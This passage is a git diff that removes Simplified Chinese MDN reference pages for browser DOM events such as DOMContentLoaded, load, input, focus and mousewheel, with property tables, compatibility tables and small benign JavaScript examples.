
基本信息

- -
-
规范
-
Clipboard
-
接口
-
{{domxref("ClipboardEvent")}}
-
是否冒泡
-
Yes
-
可取消默认行为
-
Yes
-
目标对象
-
{{domxref("DefaultView")}}, {{domxref("Document")}}, {{domxref("Element")}}
-
默认行为
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件对象(DOM树的顶层对象)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以取消。
clipboardData {{readonlyInline}}{{domxref("DataTransfer")}}剪贴板的内容。不仅仅是文本,还有文件和图片。
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
-
- -

相关

- -
    -
  • {{domxref("HTMLElement.oncut")}}
  • -
  • Related events -
      -
    • {{event("copy")}}
    • -
    • {{event("paste")}}
    • -
    -
  • -
diff --git a/files/zh-cn/web/events/domcontentloaded/index.html b/files/zh-cn/web/events/domcontentloaded/index.html deleted file mode 100644 index 67c6a44253..0000000000 --- a/files/zh-cn/web/events/domcontentloaded/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: DOMContentLoaded -slug: Web/Events/DOMContentLoaded -tags: - - DOMContentLoaded - - Window.open() - - load - - window.onload -translation_of: Web/API/Window/DOMContentLoaded_event ---- -

当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

- -

模拟的css文件:CSS.php

- -
<?php
-sleep(3);
- -

测试代码:

- -
<link rel="stylesheet" href="css.php">
-<script>
-document.addEventListener('DOMContentLoaded',function(){
-    console.log('3 seconds passed');
-});
-</script>
- -

如果将link置于script之后,就会立即打印。

- -

{{Note("同步 JavaScript 会暂停 DOM 的解析。")}}

- -

{{Note("还有许多通用和独立的库提供跨浏览器方法来检测 DOM 是否已准备就绪")}}

- -

加速中

- -

如果您希望 DOM 在用户请求页面后尽可能快地解析,你可以做的一些事情是把你的 JavaScript 异步化 以及 优化样式表的加载, 由于被并行加载而减慢页面加载,从主 html 文档“窃取”流量。

- -

常规信息

- -
-
规范
-
HTML5
-
接口
-
Event
-
是否冒泡
-
-
能否取消
-
能 (尽管一个简单的事件被指定为不可取消)
-
目标
-
Document
-
默认行为
-
无.
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
- -

示例

- -
<script>
-  document.addEventListener("DOMContentLoaded", function(event) {
-      console.log("DOM fully loaded and parsed");
-  });
-</script>
- -
<script>
-  document.addEventListener("DOMContentLoaded", function(event) {
-      console.log("DOM fully loaded and parsed");
-  });
-
-  for(var i=0; i<1000000000; i++){
-      // 这个同步脚本将延迟DOM的解析。
-      // 所以DOMContentLoaded事件稍后将启动。
-  } 
-</script>
- -

浏览器兼容性

- -

{{Compat("api.Window.DOMContentLoaded_event")}}

- -

至少从Gecko 1.9.2,Chrome 6,以及Safari 4开始,就已经实现了该事件的冒泡行为.

- -

兼容不支持该事件的浏览器

- -

在IE8中,可以使用readystatechange事件来检测DOM文档是否加载完毕.在更早的IE版本中,可以通过每隔一段时间执行一次document.documentElement.doScroll("left")来检测这一状态,因为这条代码在DOM加载完毕之前执行时会抛出错误(throw an error)。

- -

诸如jQuery这样的通用JS库,会提供跨浏览器的方法来检测DOM是否加载完成。也有其他专门实现该功能的脚本:contentloaded.js (只能添一个时间监听函数)以及jquery.documentReady.js (并不依赖jQuery,虽然名字中有jquery).

- -

相关事件

- -
    -
  • {{event("DOMContentLoaded")}}
  • -
  • {{event("readystatechange")}}
  • -
  • {{event("load")}}
  • -
  • {{event("beforeunload")}}
  • -
  • {{event("unload")}}
  • -
  • DOMContentLoaded demo
  • -
diff --git a/files/zh-cn/web/events/error/index.html b/files/zh-cn/web/events/error/index.html deleted file mode 100644 index 913caf76bf..0000000000 --- a/files/zh-cn/web/events/error/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: error -slug: Web/Events/error -translation_of: Web/API/Element/error_event ---- -
{{APIRef}}
- -

当一个资源加载失败或无法使用时,会在{{domxref("Element")}}对象上触发error事件。例如当脚本执行错误、或图片无法找到或图片无效时。

- - - - - - - - - - - - - - - - - - - - -
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} 或{{domxref("UIEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onerror", "onerror")}}
- -

如果事件对象是从用户界面元素生成的,则它是一个{{domxref("UIEvent")}}实例;反之,它是一个{{domxref("Event")}}实例。

- -

示例

- -

在线示例

- -

HTML

- -
<div class="controls">
-  <button id="img-error" type="button">生成图像error</button>
-  <img class="bad-img" />
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-
-const badImg = document.querySelector('.bad-img');
-badImg.addEventListener('error', (event) => {
-    log.textContent = log.textContent + `${event.type}: Loading image\n`;
-    console.log(event)
-});
-
-const imgError = document.querySelector('#img-error');
-imgError.addEventListener('click', () => {
-    badImg.setAttribute('src', 'i-dont-exist');
-});
-
- -

结果

- -

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Element.error_event")}}

- -

参阅

- -
    -
  • This event on Window targets: {{domxref("Window/error_event", "error")}} event
  • -
diff --git a/files/zh-cn/web/events/focus/index.html b/files/zh-cn/web/events/focus/index.html deleted file mode 100644 index 4a93ee7726..0000000000 --- a/files/zh-cn/web/events/focus/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: focus -slug: Web/Events/focus -translation_of: Web/API/Element/focus_event ---- -

focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

- -

基本信息

- -
-
规范
-
DOM L3
-
接口
-
{{ domxref("FocusEvent") }}
-
是否冒泡
-
-
能否取消默认
-
-
事件目标
-
Element
-
默认行为
-
无.
-
- -
注释: 这里的接口是指 {{ domxref("Event") }} prior to Gecko 24 {{ geckoRelease(24) }}. ({{ bug(855741) }})
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target (DOM element)
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)null
- -

事件委托

- -

此事件有两个可以实现事件委托的方法 : 通过在支持的浏览器上使用 focusin 事件 (除了Firefox之外的所有浏览器), 或者通过设置 addEventListener 的参数"useCapture" 值为true:

- -

{{ EmbedLiveSample('Event_delegation', '', '', '', 'Web/Events/blur') }}

- -

(Sample code from blur (event))

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatrueChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
-
- -

相关事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/focusout/index.html b/files/zh-cn/web/events/focusout/index.html deleted file mode 100644 index 87a8a9bd48..0000000000 --- a/files/zh-cn/web/events/focusout/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: focusout -slug: Web/Events/focusout -translation_of: Web/API/Element/focusout_event ---- -

当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

- -

基本信息

- -
-
Specification
-
DOM L3
-
Interface
-
{{domxref("FocusEvent")}}
-
Bubbles
-
Yes
-
Cancelable
-
No
-
Target
-
Element
-
Default Action
-
None.
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(52)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(52)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
- -

相关事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/icecandidate/index.html b/files/zh-cn/web/events/icecandidate/index.html deleted file mode 100644 index 38fc5c1920..0000000000 --- a/files/zh-cn/web/events/icecandidate/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: 'RTCPeerConnection: icecandidate event' -slug: Web/Events/icecandidate -translation_of: Web/API/RTCPeerConnection/icecandidate_event ---- -

{{SeeCompatTable}}

- -

当 {{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.setLocalDescription()")}}方法更改本地描述之后,该{{domxref("RTCPeerConnection")}}会抛出icecandidate事件。该事件的监听器需要将更改后的描述信息传送给远端{{domxref("RTCPeerConnection")}},以更新远端的备选源。

- -

使用指南

- -

icecandidate 的类型为 {{domxref("RTCPeerIceCandidateEvent")}}, 在以下三种情况下会触发该事件:

- -

分享新的源

- -

触发icecandidate事件的首要原因:当获得新的源之后,需要将该源的信息发送给远端信号服务器,并分发至其他端的{{domxref("RTCPeerConnection")}}。其他{{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}方法将新{{domxref("RTCPeerCandidateIceEvent.candidate", "candidate")}} 中携带的信息,将新的源描述信息添加进它的备选池中;

- -
rtcPeerConnection.onicecandidate = (event) => {
-  if (event.candidate) {
-    sendCandidateToRemotePeer(event.candidate)
-  }
-}
-
- - - -

概述

- -
-
规范
-
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}
-
接口
-
{{domxref("RTCPeerConnectionIceEvent")}}
-
事件冒泡
-
-
能否取消默认
-
-
事件目标
-
{{domxref("RTCPeerConnection")}}
-
默认行为
-
-
- -

属性

- -

属性继承自{{domxref("RTCPeerConnectionIceEvent")}}.

- -

方法

- -

方法继承自 {{domxref("RTCPeerConnectionIceEvent")}}.

- -

相关事件

- -
    -
  • -
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
- -

兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参阅

- - diff --git a/files/zh-cn/web/events/input/index.html b/files/zh-cn/web/events/input/index.html deleted file mode 100644 index 7ee1b98ad5..0000000000 --- a/files/zh-cn/web/events/input/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: input -slug: Web/Events/input -tags: - - HTML DOM - - HTMLElement - - Input - - 事件 - - 参考 - - 表单 - - 输入 -translation_of: Web/API/HTMLElement/input_event ---- -

{{APIRef}}

- -

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时,会触发 input 事件。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
- -

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素,以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下,事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上,当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

- -

对于 type=checkboxtype=radioinput 元素,每当用户切换控件(通过触摸、鼠标或键盘)时(HTML5规范),input 事件都应该触发。然而,历史事实并非如此。请检查兼容性,或使用 {{event("change")}} 事件代替这些类型的元素。

- -
-

注意: 每当元素的 value 改变,input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发,如按回车键,从一个 options 列表中选择一个值等。

-
- -

示例

- -

每当用户修改 {{HtmlElement("input")}} 元素的 value 时,这个示例会记录 value。

- -

HTML

- -
<input placeholder="Enter some text" name="name"/>
-<p id="values"></p>
- -

JavaScript

- -
const input = document.querySelector('input');
-const log = document.getElementById('values');
-
-input.addEventListener('input', updateValue);
-
-function updateValue(e) {
-  log.textContent = e.srcElement.value;
-}
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

浏览器兼容性

- -

{{Compat("api.HTMLElement.input_event")}}

- -
- -

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前,用户在输入法中输入时,或者 dead keys were used on Mac OS X 时,Gecko 不触发 input 事件。

- -

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如,按 Backspace 或者删除键,或者“剪切”文字).

- -

[3] Opera 在用户把文字拖进输入框时,不触发 input 事件。

- -

[4] 事件 target 是光标所在的最内侧的元素。

- -

参见

- -
    -
  • {{event("keydown")}}
  • -
  • {{event("keyup")}}
  • -
  • {{event("keypress")}}
  • -
  • {{event("input")}}
  • -
  • {{domxref("HTMLElement/beforeinput_event", "beforeinput")}}
  • -
  • {{domxref("HTMLElement/change_event", "change")}}
  • -
  • {{domxref("HTMLInputElement/invalid_event", "invalid")}}
  • -
- -

此外,还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

- -

- -

diff --git a/files/zh-cn/web/events/load/index.html b/files/zh-cn/web/events/load/index.html deleted file mode 100644 index 5cfb7b075f..0000000000 --- a/files/zh-cn/web/events/load/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: load -slug: Web/Events/load -tags: - - load -translation_of: Web/API/Window/load_event ---- -

{{APIRef}}

- -

当整个页面及所有依赖资源如样式表和图片都已完成加载时,将触发load事件。

- -

它与{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}不同,后者只要页面DOM加载完成就触发,无需等待依赖资源的加载。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
能否取消
接口{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onload", "onload")}}
- -

用法

- -

当页面及资源完全加载后在控制台打印一段信息:

- -
window.addEventListener('load', (event) => {
-  console.log('page is fully loaded');
-});
- -

也可以使用onload实现:

- -
window.onload = (event) => {
-  console.log('page is fully loaded');
-};
- -

示例

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

结果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-load', 'load')}}{{Spec2('UI Events')}}
{{SpecName('HTML WHATWG', '#delay-the-load-event', 'load event')}}{{Spec2('HTML WHATWG')}}此链接指向加载文档结束时执行步骤中的部分。“load”事件也会在许多元素上触发。 请注意,规范中有很多地方涉及到可以"延迟加载事件"的内容。
- -

浏览器兼容性

- - - -

{{Compat("api.Window.load_event")}}

- -

参阅

- -
    -
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
diff --git a/files/zh-cn/web/events/loadend/index.html b/files/zh-cn/web/events/loadend/index.html deleted file mode 100644 index 529a0b1673..0000000000 --- a/files/zh-cn/web/events/loadend/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: loadend -slug: Web/Events/loadend -translation_of: Web/API/XMLHttpRequest/loadend_event ---- -

loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

- -

General info

- -
-
规范
-
Progress
-
接口
-
ProgressEvent
-
可冒泡
-
-
可取消
-
-
触发对象
-
例如{{domxref("HTMLImageElement")}}
-
默认行为
-
-
- -

Properties

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
- - - -
    -
  • {{event("loadstart")}}
  • -
  • {{event("progress")}}
  • -
  • {{event("error")}}
  • -
  • {{event("abort")}}
  • -
  • {{event("load")}}
  • -
  • {{event("loadend")}}
  • -
- -

See also

- - diff --git a/files/zh-cn/web/events/loadstart/index.html b/files/zh-cn/web/events/loadstart/index.html deleted file mode 100644 index 60362dd94a..0000000000 --- a/files/zh-cn/web/events/loadstart/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: loadstart -slug: Web/Events/loadstart -tags: - - 事件 -translation_of: Web/API/XMLHttpRequest/loadstart_event ---- -

当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

- -

基本信息

- -
-
规范文档
-
Progress
-
接口
-
ProgressEvent
-
冒泡
-
No
-
可取消
-
No
-
目标
-
Element
-
默认动作
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
- -

相关事件

- -
    -
  • {{event("loadstart")}}
  • -
  • {{event("progress")}}
  • -
  • {{event("error")}}
  • -
  • {{event("abort")}}
  • -
  • {{event("load")}}
  • -
  • {{event("loadend")}}
  • -
- -

了解更多

- - diff --git a/files/zh-cn/web/events/message/index.html b/files/zh-cn/web/events/message/index.html deleted file mode 100644 index ccbd2d9859..0000000000 --- a/files/zh-cn/web/events/message/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: 'BroadcastChannel: message event' -slug: Web/Events/message -tags: - - 事件 - - 消息 - - 通信 -translation_of: Web/API/BroadcastChannel/message_event ---- -
{{APIRef}}
- -

当频道收到一条消息时,会在关联的 {{domxref('BroadcastChannel')}} 对象上触发 message 事件。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessage
- -

示例

- -

实时示例

- -

在这个例子中,有一个 <iframe> 作为发送者,当用户点击按钮之后,会广播 <textarea> 中的内容。同时,有两个 <iframe> 作为接收者,会监听广播的消息,并将结果写入 <div> 元素。

- -

发送者

- - - -
const channel = new BroadcastChannel('example-channel');
-const messageControl = document.querySelector('#message');
-const broadcastMessageButton = document.querySelector('#broadcast-message');
-
-broadcastMessageButton.addEventListener('click', () => {
-    channel.postMessage(messageControl.value);
-})
-
- -

接收者 1

- - - -
const channel = new BroadcastChannel('example-channel');
-channel.addEventListener('message', (event) => {
-  received.textContent = event.data;
-});
- -

接收者 2

- - - -
const channel = new BroadcastChannel('example-channel');
-channel.addEventListener('message', (event) => {
-  received.textContent = event.data;
-});
- -

结果

- -

{{ EmbedLiveSample('发送者', '100%', '170px','' ,'' , 'dummy') }}

- -

{{ EmbedLiveSample('接收者_1', '100%', '150px','' ,'' , 'dummy') }}

- -

{{ EmbedLiveSample('接收者_2', '100%', '150px','' ,'' , 'dummy') }}

- -

规范

- - - - - - - - - - - - -
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.BroadcastChannel.message_event")}}

- -

相关信息

- - diff --git a/files/zh-cn/web/events/mousewheel/index.html b/files/zh-cn/web/events/mousewheel/index.html deleted file mode 100644 index 599f17edbb..0000000000 --- a/files/zh-cn/web/events/mousewheel/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: mousewheel -slug: Web/Events/mousewheel -translation_of: Web/API/Element/mousewheel_event ---- -

{{ Non-standard_header() }}

- -

The mousewheel event is fired asynchronously when a mouse wheel or similar device is operated. It's represented by the {{ domxref("MouseWheelEvent") }} interface.

- -
-

Do not use this wheel event.

- -

This interface is non-standard and deprecated. It was used in non-Gecko browsers only. Instead use the standard {{event("wheel")}} event.

-
- -
    -
  • Interface :{{ domxref('MouseWheelEvent') }}
  • -
  • Synchronicity :asynchronous
  • -
  • Bubbles : yes (Though, MSDN documents "No")
  • -
  • Target : {{ domxref("Element") }}, {{ domxref("Document") }}, {{ domxref("Window") }}
  • -
  • Cancelable : yes (Though, MSDN documents "No")
  • -
  • Default action : Scroll, moving history, or zooming in/out
  • -
- -

Specification

- -

The document in MSDN: {{ spec("http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx","onmousewheel event") }}

- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatOpera("10.00") }}{{ CompatSafari("3.0") }}
wheelDeltaX{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
wheelDeltaY{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaX{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaY{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

detail value

- -

The detail attribute value is always 0 except Opera (Presto).

- -

Opera (Presto) sets almost the same value as Firefox (Gecko)'s DOMMouseScroll event's detail value which indicates the scroll amount by line. Negative value indicates to scroll to bottom or right. Positive value indicates to scroll to top or left.

- -

On Mac, the value is computed from accelerated scroll amount.

- -

On Linux, 2 or -2 is set per native wheel event.

- -

wheelDelta, wheelDeltaX and wheelDeltaY value

- -

The wheelDelta attribute value is an abstract value which indicates how far the wheel turned. If the wheel has rotated away from the user, it's positive, otherwise negative. This means that the delta value sign is different from DOM Level 3 Event's wheel. However, the meaning of the amount of these values is not the same between browsers. See following explanation for the detail.

- -

IE and Opera (Presto) only support wheelDelta attribute and do not support horizontal scroll.

- -

The wheelDeltaX attribute value indicates the wheelDelta attribute value along the horizontal axis. When a user operates the device for scrolling to right, the value is negative. Otherwise, i.e., if it's to left, the value is positive.

- -

The wheelDeltaY attribute value indicates the wheelDelta attribute value along the vertical axis. The sign of the value is the same as the wheelDelta attribute value.

- -

IE

- -

The value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. It means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. The value isn't changed even if the scroll amount of system settings is page scroll.

- -

Chrome

- -

On Windows, the value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. And also, the value isn't changed even if the scroll amount of system settings is page scroll, i.e., the value is the same as IE on Windows.

- -

